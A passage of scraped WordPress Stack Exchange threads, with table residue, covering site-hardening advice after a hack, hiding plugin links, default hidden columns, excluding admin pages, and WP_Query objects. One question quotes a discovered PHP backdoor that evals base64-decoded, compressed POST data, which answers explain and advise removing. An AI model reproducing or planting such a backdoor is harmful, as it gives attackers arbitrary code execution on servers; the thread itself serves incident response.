The symbolic method is for geeks such as **David MacKenzie** who wrote `chmod` tool, and we will only speak in absolute value method.
The permission of the following file:
```
-rwxrwxrwx file.php
```
is 777.
[](https://i.stack.imgur.com/Ft61e.jpg)
Apparently your files were 200 like this:
```
--w------- file.php
4 means Read,
2 means Write
1 means Execute
```
Looks like the hacker got your root access.
---
>
> I'm curious about what the code does, although decoding it isn't worthwhile as it's clearly in some way 'bad stuff'.
>
>
>
I would not bother with that. I would focus on recovery. Otherwise, you will just loose precious time.
---
>
> I want to find the extent of the damage, the cause and prevent a re-occurrence.
>
>
>
### Correct, I will focus only on prevention.
If your hosting provider doesn't provide the feedback this was their fault, then this may be your fault.
---
### Have you used the latest version of PHP?
Check out this URL and ensure that in 2016 — 207 security flaws were found in PHP.
<http://www.cvedetails.com/product/128/PHP-PHP.html?vendor_id=74>
PHP is getting there, but you need constantly to upgrade the version.
---
### Have you used software auto upgrades?
But not only PHP, you need to create automatic updates for the whole web server. This is very important.
Occasionally, there are new vulnerabilities found for CentOS, or Ubuntu you are running. And I was a witness of some great problems, just because the OS was not up to date with security updates.
In Ubuntu you would do something like
```
sudo apt-get update
sudo unattended-upgrade
```
somewhere in cron job, or
```
unattended-upgrade --dry-run --debug
```
To test the upgrade.
If you like to make upgrades to work as a service, you may try
```
dpkg-reconfigure unattended-upgrades
```
You would generally need to do that if your hosting company is not doing this automatically. Please check.
---
### Have you used file change detection ?
Part of the iThemes security plugin you already use is File change detection. This is very important to have set since all the security analytics mention this is a key feature. However, from there you will need to pay attention to files updated. It is important to keep the number of the folders low and to set not to be informed based on the extension of the files. Typically you don't need to track images.
### Did anyone found your log files ?
Log files should be prohibited in general via .htaccess. If you are in Nginx, then in Nginx config file. There are certain backup plugins that use `wp-content` to store the log files. Some of these do have weak naming convention and scouts may get your logs, with the information about your web server.
The extension of log files may not always be .log. It may be log.1 and like. Keep that in mind.
---
### Can `WP SCAN` detect your passwords and users
Use [WP SCAN tool](https://blog.sucuri.net/2015/12/using-wpscan-finding-wordpress-vulnerabilities.html) and check if it can crack your passwords.
You may consider .htaccess rule to prevent WordPress username enumeration if you don't have any side effects.
```
RewriteCond %{QUERY_STRING} author=d
RewriteRule ^ /? [L,R=301]
```
---
### Are your gates wide open?
You may consider closing your mysql port if this is open.
```
PORT STATE SERVICE
3306/tcp open mysql
```
Some services such as mysql should not have open ports, like in the example above. You will need to search the web for the good for the good port scanner.
Also, your login form should have the login limit count, as well as your web server SSH and FTP channels.
The another gate is xmlrpc-php. If you don't need that you may try to eliminate [it](https://wordpress.stackexchange.com/questions/219643/best-way-to-eliminate-xmlrpc-php), because this would be the place where someone may try to log in.
---
### Have you had a firewall .htaccess ?
The sixth generation of the firewall from the perishable press is not in constraint with your .htaccess file at all. <https://perishablepress.com/6g/>
It includes empty bots, and bad bots removal. As I checked it should work without interfering with the existing .htaccess rules.
You should test this in low traffic time, or on the development server, and possible use all the tips from there. Should be easy, just copy and paste.
---
### Have you used RIPS to test your plugins and themes?
This will allow you to scann plugins and themes from your `http(s)://domain.com/rips/index.php`
You can download it from [here](http://rips-scanner.sourceforge.net/) and extract it to the same level as WordPress:
[](https://i.stack.imgur.com/2h7aR.png)
Then check this out. Query Monitor plugin is perfect, but for the other one the tool found security problems.
I tested `nextgen-gallery` and `query-monitor` plugins. Look what I found.
[](https://i.stack.imgur.com/IX8j9.png)
[](https://i.stack.imgur.com/tHzWt.png)
There are sometimes false positives this tool may provide you, but in general, you will have the feedback.
---
So the final advice for you.
You don't know if your MySQL database is clean. You should probably export all the articles using standard WordPress export and create the new one.
You should install new plugins and new theme. You may even start with the new clean VPS. On Linode this is just few clicks.
You should start with the new WordPress installation for sure..
Probably you may even change the hosting if you determine they are not reliable.
The hosting provider may provide you some feedback from your web server Logs if this is the part of the service, so you can understand what was the problem better.
Anyhow — step by step.
---
Also, please check my [other answer](https://wordpress.stackexchange.com/questions/242283/wordpress-website-security/242678#242678) I provided to @Rahul, it may be good for prevention. |
253,902 | <p>How to hide deactivation link from all WordPress plugin page. </p>
<p><a href="https://i.stack.imgur.com/wlCed.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/wlCed.png" alt="enter image description here"></a></p>
| [
{
"answer_id": 253909,
"author": "Morten Skogly",
"author_id": 101970,
"author_profile": "https://wordpress.stackexchange.com/users/101970",
"pm_score": 0,
"selected": false,
"text": "<p>First: Why would you want that?</p>\n\n<p>If you run your wordpress install as a multisite/network, you can install plugins on the \"root\", and activate for network. I believe that will make the plugin deactivation inaccessible on any subsite you set up. I haven't had that need myself, but I suppose it is possible. Another way to do it is to control the users admin rights, like only giving your users the role of author. </p>\n"
},
{
"answer_id": 253913,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 3,
"selected": true,
"text": "<p>There is a filter called <a href=\"https://developer.wordpress.org/reference/hooks/plugin_action_links/\" rel=\"nofollow noreferrer\"><code>plugin_action_links</code></a> that lets you do this.</p>\n\n<pre><code>function wpse253902_disable_plugin_deactivation ($actions, $plugin_file, $plugin_data, $context) {\n if (array_key_exists ('deactivate', $actions)) unset( $actions['deactivate'] ); \n return $actions;\n }\n</code></pre>\n\n<p>There is even a filter <a href=\"https://developer.wordpress.org/reference/hooks/plugin_action_links_plugin_file/\" rel=\"nofollow noreferrer\"><code>plugin_action_links_{plugin_name}</code></a> that lets you control the links on individual plugins. If you dive into it, you will find out that you can also use this to define your own links.</p>\n"
},
{
"answer_id": 343833,
"author": "Ian Mott",
"author_id": 109747,
"author_profile": "https://wordpress.stackexchange.com/users/109747",
"pm_score": 2,
"selected": false,
"text": "<p>You could restrict the plugin menu to only certain user access levels like admin. You will still want the link to be available without making a code change in the backend. \nThis article should help you if you want to go this route.\n<a href=\"https://wordpress.stackexchange.com/questions/142517/remove-ability-to-access-certain-admin-menus\">Remove ability to access certain admin menus</a></p>\n"
}
]
| 2017/01/25 | [
"https://wordpress.stackexchange.com/questions/253902",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111735/"
]
| How to hide deactivation link from all WordPress plugin page.
[](https://i.stack.imgur.com/wlCed.png) | There is a filter called [`plugin_action_links`](https://developer.wordpress.org/reference/hooks/plugin_action_links/) that lets you do this.
```
function wpse253902_disable_plugin_deactivation ($actions, $plugin_file, $plugin_data, $context) {
if (array_key_exists ('deactivate', $actions)) unset( $actions['deactivate'] );
return $actions;
}
```
There is even a filter [`plugin_action_links_{plugin_name}`](https://developer.wordpress.org/reference/hooks/plugin_action_links_plugin_file/) that lets you control the links on individual plugins. If you dive into it, you will find out that you can also use this to define your own links. |
253,905 | <p>Is there a way to set default visible columns in posts list, for all users?</p>
<p><a href="https://i.stack.imgur.com/xYWBU.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/xYWBU.png" alt="enter image description here"></a></p>
| [
{
"answer_id": 253912,
"author": "JChario",
"author_id": 111737,
"author_profile": "https://wordpress.stackexchange.com/users/111737",
"pm_score": 0,
"selected": false,
"text": "<p>To change the defaults, you simply need to hook into the default_hidden_meta_boxes filter and supply your own PHP array listing the meta boxes you’d like hidden by default. In the example below, I hide the author meta box and the revisions meta box. This way, they’re hidden for users unless they’ve decided to enable them in Screen Options.</p>\n\n<pre><code> <?php\n/**\n * vpm_default_hidden_meta_boxes\n */\nfunction vpm_default_hidden_meta_boxes( $hidden, $screen ) {\n // Grab the current post type\n $post_type = $screen->post_type;\n // If we're on a 'post'...\n if ( $post_type == 'post' ) {\n // Define which meta boxes we wish to hide\n $hidden = array(\n 'authordiv',\n 'revisionsdiv',\n );\n // Pass our new defaults onto WordPress\n return $hidden;\n }\n // If we are not on a 'post', pass the\n // original defaults, as defined by WordPress\n return $hidden;\n}\nadd_action( 'default_hidden_meta_boxes', 'vpm_default_hidden_meta_boxes', 10, 2 );\n</code></pre>\n\n<p>Also take a look at </p>\n\n<p><a href=\"https://wordpress.stackexchange.com/questions/15376/how-to-set-default-screen-options\">How to set default screen options?</a></p>\n\n<p>and </p>\n\n<p><a href=\"https://www.vanpattenmedia.com/2014/code-snippet-hide-post-meta-boxes-wordpress\" rel=\"nofollow noreferrer\">https://www.vanpattenmedia.com/2014/code-snippet-hide-post-meta-boxes-wordpress</a></p>\n"
},
{
"answer_id": 314710,
"author": "Thomas",
"author_id": 60934,
"author_profile": "https://wordpress.stackexchange.com/users/60934",
"pm_score": 3,
"selected": false,
"text": "<p>Since the question was about columns and not meta boxes and I needed this solution, Ioannis’ reply got me on the right track.</p>\n\n<p>The filter hook in question is <code>default_hidden_columns</code>.</p>\n\n<p>This is the solution I ended up with to set my <code>ad_shortcode</code> column to be hidden by default. You should know that this is just the default. As soon as the page was visited, the default is no longer be used. Look for a meta key that includes <code>columnshidden</code> in <code>wp_usermeta</code> and remove it when testing.</p>\n\n<pre><code>add_filter( 'default_hidden_columns', 'hide_ad_list_columns', 10, 2 );\nfunction hide_ad_list_columns( $hidden, $screen ) {\n // \"edit-advanced_ads\" needs to be adjusted to your own screen ID, this one is for my \"advanced_ads\" post type\n if( isset( $screen->id ) && 'edit-advanced_ads' === $screen->id ){ \n $hidden[] = 'ad_shortcode'; \n } \n return $hidden;\n}\n</code></pre>\n"
}
]
| 2017/01/25 | [
"https://wordpress.stackexchange.com/questions/253905",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/1210/"
]
| Is there a way to set default visible columns in posts list, for all users?
[](https://i.stack.imgur.com/xYWBU.png) | Since the question was about columns and not meta boxes and I needed this solution, Ioannis’ reply got me on the right track.
The filter hook in question is `default_hidden_columns`.
This is the solution I ended up with to set my `ad_shortcode` column to be hidden by default. You should know that this is just the default. As soon as the page was visited, the default is no longer be used. Look for a meta key that includes `columnshidden` in `wp_usermeta` and remove it when testing.
```
add_filter( 'default_hidden_columns', 'hide_ad_list_columns', 10, 2 );
function hide_ad_list_columns( $hidden, $screen ) {
// "edit-advanced_ads" needs to be adjusted to your own screen ID, this one is for my "advanced_ads" post type
if( isset( $screen->id ) && 'edit-advanced_ads' === $screen->id ){
$hidden[] = 'ad_shortcode';
}
return $hidden;
}
``` |
253,926 | <p>In my wordpress website, I found several brand new file containing this php code:</p>
<pre><code>if (isset($_REQUEST["q"]) AND $_REQUEST["q"]=="1"){echo "200"; exit;}
if(isset($_POST["key"]) && isset($_POST["chk"]) &&
$_POST["key"]=="long_strange_code")
eval(gzuncompress(base64_decode($_POST["chk"])));
</code></pre>
<p>What this code can do actually in Wordpress? Deleting the file is enough to remove the problem?</p>
<p>In the last days, the website went down several times with mysql running out of memory. Could be this the cause?</p>
| [
{
"answer_id": 253929,
"author": "Samuel Asor",
"author_id": 84265,
"author_profile": "https://wordpress.stackexchange.com/users/84265",
"pm_score": 0,
"selected": false,
"text": "<p>First, you need to check where the file is. Is it inside your theme folder or your plugins folder? </p>\n\n<p>If it is something that came from a plugin, you'll need to check for other places where the file may have been replicated. For this, I'll suggest you:</p>\n\n<ul>\n<li>Uninstall all your plugins</li>\n<li>Install the plugins again, one after the other, in other to determine the culprit. </li>\n</ul>\n\n<p>If the file is in the root folder, and it's not part of the core WordPress files, please delete it. </p>\n"
},
{
"answer_id": 253971,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 3,
"selected": true,
"text": "<blockquote>\n <p>What this code can do actually in Wordpress? </p>\n</blockquote>\n\n<p>This code allows arbitrary execution of PHP on your server.</p>\n\n<blockquote>\n <p>Deleting the file is enough to remove the problem?</p>\n</blockquote>\n\n<p>You'll need to delete all files that contain backdoor like this. Look at every file on your system and compare it to the WordPress repository.</p>\n\n<blockquote>\n <p>In the last days, the website went down several times with mysql running out of memory. Could be this the cause?</p>\n</blockquote>\n\n<p>Yes. It's likely that some bad guy is using your server for nefarious deeds.</p>\n"
},
{
"answer_id": 253980,
"author": "T.Todua",
"author_id": 33667,
"author_profile": "https://wordpress.stackexchange.com/users/33667",
"pm_score": 1,
"selected": false,
"text": "<p>Your site is already hacked. You can be sure 99%, that your site is under FULL CONTROL.</p>\n\n<p>(Quote from another <a href=\"https://www.protectpages.com/blog/what-should-you-do-if-your-wordpress-web-site-was-hacked/\" rel=\"nofollow noreferrer\"><strong>site</strong></a>):</p>\n\n<blockquote>\n <p>Steps you have to do (Note, if you miss any step, your site will\n possibly remain hacked):</p>\n \n <ul>\n <li>At first, report the malicious plugin/theme to <strong>plugins[@]wordpress.com</strong> and warn other about the suspicious plugins.</li>\n <li>Delete that file immediately.</li>\n <li>Delete all suspicious <strong>plugins</strong> and <strong>themes</strong>. Remember the list of TRUSTED plugins you have installed and TRUSTED theme name (continue\n reading).</li>\n <li>Backup database (export to PC) and delete database from MYSQL server.</li>\n <li>Change password and database name of MYSQL server.</li>\n <li>(Not required, but strongly recommended): Change your WP login password. If you used that password somewhere else, change everywhere\n (because your password may have been grabbed already)</li>\n <li>Backup only <code>wp-content/uploads</code> folder (if you have custom theme or something, backup it too), and delete everything from <code>public_html</code>.</li>\n <li>Check <code>uploads</code> (or other folders you backed-up), if there is any <code>.php</code> or server-side files inside that, it is is clean, then put that\n folder back to site.</li>\n <li>Now you have to check your exported DATABASE(SQL) file carefully. see if there are extra/suspicious tables or EXTRA USER added, or some\n hackable cron job created.\n -Import the revised SQL database back to newly created database (with different username and password as I've said), but: before importing,\n you can replace your admin password from <code>wp_users</code> table with\n <code>$P$B1oYQ3msvVDfFRDwiCY6lViBGmiXMT/</code> (this is example password <code>a</code>.\n you should change it asap as you enter your site first time).</li>\n <li>Reinstall clean wordpress installation on your site (if you use old version of WP, you can install OLD version).</li>\n <li>Install only those 'Trusted' plugins and theme.</li>\n </ul>\n \n <p>This may be a hard process somehow, but if you want safety, you should\n do this. Otherwise, you will still remain hacked.</p>\n</blockquote>\n"
}
]
| 2017/01/25 | [
"https://wordpress.stackexchange.com/questions/253926",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/71652/"
]
| In my wordpress website, I found several brand new file containing this php code:
```
if (isset($_REQUEST["q"]) AND $_REQUEST["q"]=="1"){echo "200"; exit;}
if(isset($_POST["key"]) && isset($_POST["chk"]) &&
$_POST["key"]=="long_strange_code")
eval(gzuncompress(base64_decode($_POST["chk"])));
```
What this code can do actually in Wordpress? Deleting the file is enough to remove the problem?
In the last days, the website went down several times with mysql running out of memory. Could be this the cause? | >
> What this code can do actually in Wordpress?
>
>
>
This code allows arbitrary execution of PHP on your server.
>
> Deleting the file is enough to remove the problem?
>
>
>
You'll need to delete all files that contain backdoor like this. Look at every file on your system and compare it to the WordPress repository.
>
> In the last days, the website went down several times with mysql running out of memory. Could be this the cause?
>
>
>
Yes. It's likely that some bad guy is using your server for nefarious deeds. |
253,927 | <p>I'm using this code in functions.php to hide/remove some pages from custom users backend and works well, but how can I reach to hide the subpages as well?</p>
<pre><code>add_filter( 'parse_query' , 'exclude_pages_from_admin' );
function exclude_pages_from_admin($query) {
global $pagenow,$post_type;
if (is_admin() && $pagenow == 'edit.php' && $post_type == 'page' && current_user_can( 'custom_role' )) {
$query->query_vars['post__not_in'] = array('1','2','3');
}
}
</code></pre>
| [
{
"answer_id": 253942,
"author": "Tunji",
"author_id": 54764,
"author_profile": "https://wordpress.stackexchange.com/users/54764",
"pm_score": 1,
"selected": false,
"text": "<p>One way to achieve this is by looping through the parent pages and fetching their respective children pages ids. </p>\n\n<p>The resulting arrays can then be merged and used in the <code>'post__not_in'</code> variable.</p>\n\n<pre><code>add_filter( 'parse_query' , 'exclude_pages_from_admin' );\n\nfunction exclude_pages_from_admin( $query ) {\n\n global $pagenow,$post_type;\n $pages = array('1','2','3');\n foreach ( $pages as $parent_page ) {\n $args = array(\n 'post_type' => 'page',\n 'post_parent' => $parent_page,\n 'fields' => 'ids',\n );\n $children = new WP_Query( $args );\n $pages = array_merge( $pages, $children );\n }\n if ( is_admin() && $pagenow == 'edit.php' && $post_type == 'page' && current_user_can('custom_role') ) {\n $query->query_vars['post__not_in'] = $pages;\n }\n\n}\n</code></pre>\n"
},
{
"answer_id": 253957,
"author": "Ben Lonsdale",
"author_id": 110488,
"author_profile": "https://wordpress.stackexchange.com/users/110488",
"pm_score": 0,
"selected": false,
"text": "<p>Edit: Sorry I think I got the wrong end of the stick on this question! This method is for removing menu page.</p>\n\n<p>I think a simpler method might be:</p>\n\n<pre><code>add_action( 'admin_init', 'my_remove_menu_pages' );\nfunction my_remove_menu_pages() {\n\n global $user_ID;\n\n if ( current_user_can( 'author' ) ) {\n remove_menu_page( 'edit.php' ); // Posts\n remove_menu_page('upload.php'); // Media\n remove_menu_page('edit-comments.php'); // Comments\n remove_menu_page('tools.php'); // Tools\n remove_menu_page( 'wpcf7' ); // Contact Form 7\n remove_menu_page('acf-options'); //acf options\n }\n\n if ( current_user_can( 'editor' ) ) {\n remove_menu_page('upload.php'); // Media\n remove_menu_page('edit-comments.php'); // Comments\n remove_menu_page('tools.php'); // Tools\n remove_menu_page( 'wpcf7' ); // Contact Form 7\n remove_menu_page( 'edit.php?post_type=acf' ); // ACF\n remove_menu_page( 'admin.php?page=cptui_manage_post_types' ); //CPT UI\n }\n\n}\n</code></pre>\n\n<p>This is straight out of a current project that I am working on and works a treat!</p>\n"
}
]
| 2017/01/25 | [
"https://wordpress.stackexchange.com/questions/253927",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111659/"
]
| I'm using this code in functions.php to hide/remove some pages from custom users backend and works well, but how can I reach to hide the subpages as well?
```
add_filter( 'parse_query' , 'exclude_pages_from_admin' );
function exclude_pages_from_admin($query) {
global $pagenow,$post_type;
if (is_admin() && $pagenow == 'edit.php' && $post_type == 'page' && current_user_can( 'custom_role' )) {
$query->query_vars['post__not_in'] = array('1','2','3');
}
}
``` | One way to achieve this is by looping through the parent pages and fetching their respective children pages ids.
The resulting arrays can then be merged and used in the `'post__not_in'` variable.
```
add_filter( 'parse_query' , 'exclude_pages_from_admin' );
function exclude_pages_from_admin( $query ) {
global $pagenow,$post_type;
$pages = array('1','2','3');
foreach ( $pages as $parent_page ) {
$args = array(
'post_type' => 'page',
'post_parent' => $parent_page,
'fields' => 'ids',
);
$children = new WP_Query( $args );
$pages = array_merge( $pages, $children );
}
if ( is_admin() && $pagenow == 'edit.php' && $post_type == 'page' && current_user_can('custom_role') ) {
$query->query_vars['post__not_in'] = $pages;
}
}
``` |
253,928 | <p>This code works, and I want to understand why.</p>
<p>So I created the object from the <code>WP_Query</code> class, and used the <code>have_posts()</code> and <code>the_post()</code> functions in a while loop. </p>
<p>The question is: since the <strong><code>$post->ID</code></strong> is a data in an array based on the class <code>WP_Post</code>
would this than mean that the object instantiated from the <code>WP_Post</code> class is inside the object instantiated from the <code>WP_Query</code> class?</p>
<p>Can an object be inside one another? Or am I missing something? </p>
<pre><code> $the_query = new WP_Query( $args );
if ( $the_query->have_posts() ) : ?>
<?php while ( $the_query->have_posts() ) : $the_query->the_post(); ?>
<?php echo '<p>' .$post->ID .'</p>';?>
<?php endwhile; ?>
<?php wp_reset_postdata(); ?>
<?php else : ?>
<p>No-data!</p>
<?php endif; ?>
</code></pre>
| [
{
"answer_id": 253931,
"author": "Tunji",
"author_id": 54764,
"author_profile": "https://wordpress.stackexchange.com/users/54764",
"pm_score": -1,
"selected": false,
"text": "<p>You can use <a href=\"https://developer.wordpress.org/reference/functions/get_the_id/\" rel=\"nofollow noreferrer\"><strong>get_the_ID()</strong></a>, it retrieves the ID of the current item in the WordPress loop:</p>\n\n<pre><code>$the_query = new WP_Query( $args );\nif ( $the_query->have_posts() ) : ?>\n <?php while ( $the_query->have_posts() ) : $the_query->the_post(); ?>\n <?php echo '<p>' . get_the_ID() .'</p>';?>\n\n <?php endwhile; ?>\n <?php wp_reset_postdata(); ?>\n<?php else : ?>\n <p>No-data!</p>\n<?php endif; ?>\n</code></pre>\n"
},
{
"answer_id": 277720,
"author": "ClemC",
"author_id": 73239,
"author_profile": "https://wordpress.stackexchange.com/users/73239",
"pm_score": 3,
"selected": false,
"text": "<p>Yes, an object containing other objects is \"natural\". A <code>House</code> object contains an array of <code>Furniture</code> objects in its <code>$furnitures</code> property... Such as in our case... <a href=\"https://codex.wordpress.org/Class_Reference/WP_Query\" rel=\"nofollow noreferrer\"><code>WP_Query</code></a> contains an array of <a href=\"https://codex.wordpress.org/Class_Reference/WP_Post\" rel=\"nofollow noreferrer\"><code>WP_Post</code></a> objects in its <code>$posts</code> property... A <a href=\"https://en.wikipedia.org/wiki/One-to-many_(data_model)\" rel=\"nofollow noreferrer\">one-to-many relationship</a>. This is an <a href=\"https://en.wikipedia.org/wiki/Class_diagram#Aggregation\" rel=\"nofollow noreferrer\">Aggregation</a>.</p>\n\n<p><a href=\"https://en.wikipedia.org/wiki/Object-oriented_programming\" rel=\"nofollow noreferrer\">OOP</a> is all about programatically modelizing things. These things are:</p>\n\n<ul>\n<li>From the system context, <strong>data</strong> and <strong>process</strong>. </li>\n<li>From the real world context, <strong>entity</strong> and <strong>logic</strong>.</li>\n</ul>\n\n<p>These 2 contexts are relationnal. The <strong>data</strong> is defined by its <strong>entity</strong> and the <strong>process</strong> is defined by its <strong>logic</strong>. These 2 contexts are then transmutable into a common programming pattern - OOP...</p>\n\n<p>The <code>WP_Post</code> object is an <strong>entity</strong> holding and defined by - its <strong>data</strong>. It's what we call a <a href=\"https://en.wikipedia.org/wiki/Domain_model\" rel=\"nofollow noreferrer\">Domain Model Object</a>. Though, since it doesn't include any <a href=\"https://en.wikipedia.org/wiki/Business_logic\" rel=\"nofollow noreferrer\">Domain Logic</a>, design purists may call it an <a href=\"https://en.wikipedia.org/wiki/Anemic_domain_model\" rel=\"nofollow noreferrer\">Anemic Domain Model Object</a> instead.</p>\n\n<p>The <code>WP_Query</code> object is a <strong>process</strong> (service). In fact, it is defined by the domain <strong>logic</strong> of our <code>WP_Post</code> object with for example:</p>\n\n<pre><code>$the_query->have_posts();\n$the_query->the_post();\n</code></pre>\n\n<p><a href=\"https://codex.wordpress.org/The_Loop\" rel=\"nofollow noreferrer\">The WP Loop</a> itself iterates through the <code>WP_Query::$posts</code> and is in charge of switching context (the <strong>global</strong> <code>$post</code> object).</p>\n\n<p>From within The Loop:</p>\n\n<ul>\n<li><p><code>WP_Query::the_post()</code> initializes the <strong>global</strong> <code>$post</code>. You then can access the <code>$post</code> data via, for example, <code>get_the_ID()</code> or <code>$post->ID</code>.</p></li>\n<li><p><code>WP_Query::have_posts()</code> checks if there are other <code>WP_Query::$posts</code> to iterate through.</p></li>\n</ul>\n"
}
]
| 2017/01/25 | [
"https://wordpress.stackexchange.com/questions/253928",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111747/"
]
| This code works, and I want to understand why.
So I created the object from the `WP_Query` class, and used the `have_posts()` and `the_post()` functions in a while loop.
The question is: since the **`$post->ID`** is a data in an array based on the class `WP_Post`
would this than mean that the object instantiated from the `WP_Post` class is inside the object instantiated from the `WP_Query` class?
Can an object be inside one another? Or am I missing something?
```
$the_query = new WP_Query( $args );
if ( $the_query->have_posts() ) : ?>
<?php while ( $the_query->have_posts() ) : $the_query->the_post(); ?>
<?php echo '<p>' .$post->ID .'</p>';?>
<?php endwhile; ?>
<?php wp_reset_postdata(); ?>
<?php else : ?>
<p>No-data!</p>
<?php endif; ?>
``` | Yes, an object containing other objects is "natural". A `House` object contains an array of `Furniture` objects in its `$furnitures` property... Such as in our case... [`WP_Query`](https://codex.wordpress.org/Class_Reference/WP_Query) contains an array of [`WP_Post`](https://codex.wordpress.org/Class_Reference/WP_Post) objects in its `$posts` property... A [one-to-many relationship](https://en.wikipedia.org/wiki/One-to-many_(data_model)). This is an [Aggregation](https://en.wikipedia.org/wiki/Class_diagram#Aggregation).
[OOP](https://en.wikipedia.org/wiki/Object-oriented_programming) is all about programatically modelizing things. These things are:
* From the system context, **data** and **process**.
* From the real world context, **entity** and **logic**.
These 2 contexts are relationnal. The **data** is defined by its **entity** and the **process** is defined by its **logic**. These 2 contexts are then transmutable into a common programming pattern - OOP...
The `WP_Post` object is an **entity** holding and defined by - its **data**. It's what we call a [Domain Model Object](https://en.wikipedia.org/wiki/Domain_model). Though, since it doesn't include any [Domain Logic](https://en.wikipedia.org/wiki/Business_logic), design purists may call it an [Anemic Domain Model Object](https://en.wikipedia.org/wiki/Anemic_domain_model) instead.
The `WP_Query` object is a **process** (service). In fact, it is defined by the domain **logic** of our `WP_Post` object with for example:
```
$the_query->have_posts();
$the_query->the_post();
```
[The WP Loop](https://codex.wordpress.org/The_Loop) itself iterates through the `WP_Query::$posts` and is in charge of switching context (the **global** `$post` object).
From within The Loop:
* `WP_Query::the_post()` initializes the **global** `$post`. You then can access the `$post` data via, for example, `get_the_ID()` or `$post->ID`.
* `WP_Query::have_posts()` checks if there are other `WP_Query::$posts` to iterate through. |
253,934 | <p>I am building a quotes website and i have 2 main categories like <strong>Topic</strong> & <strong>Authors</strong> <br> Every quote will have Author name and topic name and those are sub categories of Topic & Author.<br> <strong>AND my question is</strong><br> i want to display only Author categories that is a sub category of a Authors category please help me...</p>
<p><strong>Topic</strong><br>
- Love<br>
- Life<br>
- Friends etc<br>
<strong>Authors</strong><br>
- Author1<br>
- Author2<br>
- Author3<br></p>
| [
{
"answer_id": 253931,
"author": "Tunji",
"author_id": 54764,
"author_profile": "https://wordpress.stackexchange.com/users/54764",
"pm_score": -1,
"selected": false,
"text": "<p>You can use <a href=\"https://developer.wordpress.org/reference/functions/get_the_id/\" rel=\"nofollow noreferrer\"><strong>get_the_ID()</strong></a>, it retrieves the ID of the current item in the WordPress loop:</p>\n\n<pre><code>$the_query = new WP_Query( $args );\nif ( $the_query->have_posts() ) : ?>\n <?php while ( $the_query->have_posts() ) : $the_query->the_post(); ?>\n <?php echo '<p>' . get_the_ID() .'</p>';?>\n\n <?php endwhile; ?>\n <?php wp_reset_postdata(); ?>\n<?php else : ?>\n <p>No-data!</p>\n<?php endif; ?>\n</code></pre>\n"
},
{
"answer_id": 277720,
"author": "ClemC",
"author_id": 73239,
"author_profile": "https://wordpress.stackexchange.com/users/73239",
"pm_score": 3,
"selected": false,
"text": "<p>Yes, an object containing other objects is \"natural\". A <code>House</code> object contains an array of <code>Furniture</code> objects in its <code>$furnitures</code> property... Such as in our case... <a href=\"https://codex.wordpress.org/Class_Reference/WP_Query\" rel=\"nofollow noreferrer\"><code>WP_Query</code></a> contains an array of <a href=\"https://codex.wordpress.org/Class_Reference/WP_Post\" rel=\"nofollow noreferrer\"><code>WP_Post</code></a> objects in its <code>$posts</code> property... A <a href=\"https://en.wikipedia.org/wiki/One-to-many_(data_model)\" rel=\"nofollow noreferrer\">one-to-many relationship</a>. This is an <a href=\"https://en.wikipedia.org/wiki/Class_diagram#Aggregation\" rel=\"nofollow noreferrer\">Aggregation</a>.</p>\n\n<p><a href=\"https://en.wikipedia.org/wiki/Object-oriented_programming\" rel=\"nofollow noreferrer\">OOP</a> is all about programatically modelizing things. These things are:</p>\n\n<ul>\n<li>From the system context, <strong>data</strong> and <strong>process</strong>. </li>\n<li>From the real world context, <strong>entity</strong> and <strong>logic</strong>.</li>\n</ul>\n\n<p>These 2 contexts are relationnal. The <strong>data</strong> is defined by its <strong>entity</strong> and the <strong>process</strong> is defined by its <strong>logic</strong>. These 2 contexts are then transmutable into a common programming pattern - OOP...</p>\n\n<p>The <code>WP_Post</code> object is an <strong>entity</strong> holding and defined by - its <strong>data</strong>. It's what we call a <a href=\"https://en.wikipedia.org/wiki/Domain_model\" rel=\"nofollow noreferrer\">Domain Model Object</a>. Though, since it doesn't include any <a href=\"https://en.wikipedia.org/wiki/Business_logic\" rel=\"nofollow noreferrer\">Domain Logic</a>, design purists may call it an <a href=\"https://en.wikipedia.org/wiki/Anemic_domain_model\" rel=\"nofollow noreferrer\">Anemic Domain Model Object</a> instead.</p>\n\n<p>The <code>WP_Query</code> object is a <strong>process</strong> (service). In fact, it is defined by the domain <strong>logic</strong> of our <code>WP_Post</code> object with for example:</p>\n\n<pre><code>$the_query->have_posts();\n$the_query->the_post();\n</code></pre>\n\n<p><a href=\"https://codex.wordpress.org/The_Loop\" rel=\"nofollow noreferrer\">The WP Loop</a> itself iterates through the <code>WP_Query::$posts</code> and is in charge of switching context (the <strong>global</strong> <code>$post</code> object).</p>\n\n<p>From within The Loop:</p>\n\n<ul>\n<li><p><code>WP_Query::the_post()</code> initializes the <strong>global</strong> <code>$post</code>. You then can access the <code>$post</code> data via, for example, <code>get_the_ID()</code> or <code>$post->ID</code>.</p></li>\n<li><p><code>WP_Query::have_posts()</code> checks if there are other <code>WP_Query::$posts</code> to iterate through.</p></li>\n</ul>\n"
}
]
| 2017/01/25 | [
"https://wordpress.stackexchange.com/questions/253934",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111748/"
]
| I am building a quotes website and i have 2 main categories like **Topic** & **Authors**
Every quote will have Author name and topic name and those are sub categories of Topic & Author.
**AND my question is**
i want to display only Author categories that is a sub category of a Authors category please help me...
**Topic**
- Love
- Life
- Friends etc
**Authors**
- Author1
- Author2
- Author3 | Yes, an object containing other objects is "natural". A `House` object contains an array of `Furniture` objects in its `$furnitures` property... Such as in our case... [`WP_Query`](https://codex.wordpress.org/Class_Reference/WP_Query) contains an array of [`WP_Post`](https://codex.wordpress.org/Class_Reference/WP_Post) objects in its `$posts` property... A [one-to-many relationship](https://en.wikipedia.org/wiki/One-to-many_(data_model)). This is an [Aggregation](https://en.wikipedia.org/wiki/Class_diagram#Aggregation).
[OOP](https://en.wikipedia.org/wiki/Object-oriented_programming) is all about programatically modelizing things. These things are:
* From the system context, **data** and **process**.
* From the real world context, **entity** and **logic**.
